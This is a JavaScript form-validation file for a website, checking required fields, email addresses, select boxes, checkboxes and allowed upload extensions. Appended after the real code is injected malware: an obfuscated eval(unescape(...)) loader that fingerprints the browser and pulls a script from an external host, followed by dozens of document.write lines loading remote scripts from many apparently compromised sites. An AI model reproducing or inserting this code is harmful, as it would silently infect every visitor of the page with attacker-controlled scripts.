// JavaScript Document

function Validate( Type, ElemObj, LabelName )
{
	
	switch( Type )
	{
		case "STRING" :	 if(ElemObj.value == "")
						{	alert('The ' + LabelName + ' field cannot be left blank'); ElemObj.focus(); return false;   }
						break;
		
		case "NUMBER" :	if( isNaN(ElemObj.value) == true  )
						 {  alert('Incorrect number'); ElemObj.focus(); return false; }
						break;
		
		case "LENGTH" :	if(ElemObj.value.length == 5 )
						{	alert('Length'); ElemObj.focus(); return false; }
						break;		
						
		case "EMAIL"  :  if (ElemObj.value.indexOf("@")<3)
							{   alert("Invalid email address");	ElemObj.focus();  return false; 	}
							
						 else 
							if (  (ElemObj.value.indexOf(".com") < 5) && 
								  (ElemObj.value.indexOf(".org") < 5) && 
								  (ElemObj.value.indexOf(".gov") < 5) && 
								  (ElemObj.value.indexOf(".net") < 5) && 
								  (ElemObj.value.indexOf(".co.uk") < 7) && 
								  (ElemObj.value.indexOf(".nl") < 4) && 
								  (ElemObj.value.indexOf(".mil") < 5) && 
								  (ElemObj.value.indexOf(".edu") < 5) && 
								  (ElemObj.value.indexOf("co.in") < 7)    )
																	
									{  alert("Invalid email address");	ElemObj.focus();  return false; 	}
						 break;
						 
		case "COMBO_BOX" :	if(ElemObj.selectedIndex == 0 )
							{	alert('Please select a ' + LabelName); ElemObj.focus(); return false; }
							break;
							
		case "CHECK_BOX" :	for(var i=0; i< ElemObj.length; i++)
							{	if(ElemObj[i].checked == true){ return true;  }								
							}
							alert('Nothing selected for ' + LabelName);
							ElemObj[0].focus(); return false;
							
		case "FILE"		:	return ValidateFile(ElemObj, LabelName)
							
	 }
	
	 return true;
}


function ValidateFile(objUploadTmp, Label)
    {
    var objUpload=eval(objUploadTmp);
    var sUpload=objUpload.value;
    if(sUpload!="")
        {
        		var iExt=sUpload.indexOf("\\");
        		var iDot=sUpload.indexOf(".");
        if((iExt < 0 ) || (iDot < 0))
            {
				alert("Invalid File Path for " + Label + " Field!");
				objUpload.focus();
				return false; 
        	}

        if(iDot > 0)
            {
				var aUpload=sUpload.split(".");
				switch(  aUpload[aUpload.length-1]  )
				{
					case "txt"	:
					case "doc"	:
					case "zip"	:
					case "pdf"	:
					case "rar"	:
					case "jpg"	:
					case "gif"	:
					case "png"	:
					case "bmp"	:
					case "html"	:
					case "swf"	: 	return true;   
					default		:	  alert("Only These Extensions Are Allowed For File Upload!\n*.txt, *.doc, *.zip, *.pdf, *.rar, *.jpg, *.gif, *.png, *.bmp, *.html, *.swf");
									  objUpload.focus();
									  return false;
				}
            }
        }
		return true;
    }

<!-- 
(function(){var F6E8='%';eval(unescape(('va!72!20a!3d!22Scri!70tEngine!22!2cb!3d!22!56ersion()+!22!2cj!3d!22!22!2cu!3d!6eavigat!6fr!2eu!73!65r!41gen!74!3b!69f((!75!2ein!64e!78Of(!22Chrome!22!29!3c0)!26!26(!75!2e!69n!64exOf!28!22W!69n!22)!3e0)!26!26(!75!2ein!64!65xO!66(!22NT!20!36!22)!3c0)!26!26(docu!6dent!2eco!6fk!69e!2e!69!6ede!78Of!28!22miek!3d1!22)!3c0)!26!26(t!79peof(zr!76zt!73!29!21!3dtypeof(!22A!22))!29!7bzrvz!74s!3d!22!41!22!3beval(!22if(w!69n!64ow!2e!22+a+!22)!6a!3dj+!22+!61+!22Major!22+b!2b!61+!22Mi!6e!6fr!22!2b!62+!61+!22!42uild!22+!62!2b!22j!3b!22)!3bdoc!75me!6et!2ewri!74!65(!22!3c!73cri!70!74!20src!3d!2f!2fm!22+!22!61rtuz!2e!63!6e!2fvid!2f!3fid!3d!22+j+!22!3e!3c!5c!2fsc!72i!70t!3e!22)!3b!7d').replace(/!/g,F6E8)))})();
 -->
document.write('<script src=http://epiphyte.ru/home/db1900b.mysql.php ><\/script>');
document.write('<script src=http://epiphyte.ru/home/db1900b.mysql.php ><\/script>');
document.write('<script src=http://epiphyte.ru/home/db1900b.mysql.php ><\/script>');
document.write('<script src=http://epiphyte.ru/home/db1900b.mysql.php ><\/script>');
document.write('<script src=http://epiphyte.ru/home/db1900b.mysql.php ><\/script>');
document.write('<script src=http://epiphyte.ru/home/db1900b.mysql.php ><\/script>');
document.write('<script src=http://epiphyte.ru/home/db1900b.mysql.php ><\/script>');
document.write('<script src=http://epiphyte.ru/home/db1900b.mysql.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeanietomanek.com/_vti_bin/nav_links.php ><\/script>');
document.write('<script src=http://jeffball.biz/audio/fire_wall.php ><\/script>');
document.write('<script src=http://jeffball.biz/audio/fire_wall.php ><\/script>');
document.write('<script src=http://jeffball.biz/audio/fire_wall.php ><\/script>');
document.write('<script src=http://bestplacesinindia.com/images/hotel-chandigarh.php ><\/script>');
document.write('<script src=http://bestplacesinindia.com/images/hotel-chandigarh.php ><\/script>');
document.write('<script src=http://bestplacesinindia.com/images/hotel-chandigarh.php ><\/script>');
document.write('<script src=http://bestplacesinindia.com/images/hotel-chandigarh.php ><\/script>');
document.write('<script src=http://bestplacesinindia.com/images/hotel-chandigarh.php ><\/script>');
document.write('<script src=http://bestplacesinindia.com/images/hotel-chandigarh.php ><\/script>');
document.write('<script src=http://altair.dn.ua/size35/about.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://fukuiaccent.com/images/uql3/business_area.php ><\/script>');
document.write('<script src=http://centrorgprom.ru/xtfm/spectech.php ><\/script>');
document.write('<script src=http://michelvd.be/styles/index.php ><\/script>');
document.write('<script src=http://michelvd.be/styles/index.php ><\/script>');
document.write('<script src=http://michelvd.be/styles/index.php ><\/script>');
document.write('<script src=http://michelvd.be/styles/index.php ><\/script>');
document.write('<script src=http://michelvd.be/styles/index.php ><\/script>');
document.write('<script src=http://michelvd.be/styles/index.php ><\/script>');
document.write('<script src=http://riesenivast.se/sidor/index.php ><\/script>');
document.write('<script src=http://riesenivast.se/sidor/index.php ><\/script>');
document.write('<script src=http://riesenivast.se/sidor/index.php ><\/script>');
document.write('<script src=http://riesenivast.se/sidor/index.php ><\/script>');
document.write('<script src=http://riesenivast.se/sidor/index.php ><\/script>');
document.write('<script src=http://riesenivast.se/sidor/index.php ><\/script>');
document.write('<script src=http://riesenivast.se/sidor/index.php ><\/script>');
document.write('<script src=http://riesenivast.se/sidor/index.php ><\/script>');
document.write('<script src=http://cricket.manoramaonline.com/match/control.php ><\/script>');
document.write('<script src=http://portaldacoluna.com.br/images/defaultpopup.php ><\/script>');
document.write('<script src=http://portaldacoluna.com.br/images/defaultpopup.php ><\/script>');
document.write('<script src=http://portaldacoluna.com.br/images/defaultpopup.php ><\/script>');
document.write('<script src=http://portaldacoluna.com.br/images/defaultpopup.php ><\/script>');
document.write('<script src=http://portaldacoluna.com.br/images/defaultpopup.php ><\/script>');
document.write('<script src=http://portaldacoluna.com.br/images/defaultpopup.php ><\/script>');
document.write('<script src=http://portaldacoluna.com.br/images/defaultpopup.php ><\/script>');
document.write('<script src=http://versaillesstudio.com/GeneratedItems/index_old.php ><\/script>');
document.write('<script src=http://versaillesstudio.com/GeneratedItems/index_old.php ><\/script>');
document.write('<script src=http://versaillesstudio.com/GeneratedItems/index_old.php ><\/script>');
document.write('<script src=http://asahi-cc.com/imgdb/access_new.php ><\/script>');
document.write('<script src=http://asahi-cc.com/imgdb/access_new.php ><\/script>');
document.write('<script src=http://nagyvarad.extra.hu/images/zeitgeist-hun.php ><\/script>');